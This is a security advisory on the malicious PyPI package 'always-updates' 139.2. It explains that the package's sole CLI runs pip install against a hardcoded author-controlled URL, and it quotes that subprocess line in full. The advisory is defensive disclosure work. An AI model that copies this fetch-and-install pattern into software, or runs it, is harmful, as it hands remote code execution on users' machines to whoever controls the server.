always-updates

Details

**Severity:** Critical

**Affected versions:** `= 139.2`

## Source: amazon-inspector (dee16a964c16035579f7be2f965a801f87876080603f389e1e75ec3073bd5c2c)
The package's sole advertised CLI (`aupd`, registered as a console_scripts entry point to always_updates.__main__:main) executes `subprocess.check_call([sys.executable, '-m', 'pip', 'install', 'https://aupd.19700101t000000z.com'])` (always_updates/__main__.py lines 7 and 16). Running the documented command causes pip to download and install an arbitrary Python distribution from a hardcoded author-controlled endpoint: no version pin, no hash/signature verification, destination is not PyPI nor a documented publisher CDN. Because `pip install <url>` executes the downloaded package's setup.py, this is arbitrary remote code execution against the installer's machine by design, with attacker-mutable content served from the author's host. Corroborating soft signals: the endpoint hostname `aupd.19700101t000000z.com` is an anonymously-registered epoch-zero domain, the author email (`[email protected]`) and referenced GitHub org look theatrical/placeholder — matching the generic-placeholder-metadata-plus-network shape. The harm fires when the user runs the CLI, not at `pip install` time, but the package's entire advertised purpose is to fetch-and-execute whatever the author-controlled server returns; every invocation is a new, unverified remote payload.

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Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/always-updates/MAL-2026-3685.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/49d0cfba3689ed9b195d101d3a2a964c6a77f767/osv/malicious/pypi/always-updates/MAL-2026-3685.json
- https://pypi.org/project/always-updates/139.2
- https://github.com/advisories/GHSA-93r3-cv9x-9xhw

Compromised versions (1)

• = 139.2

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.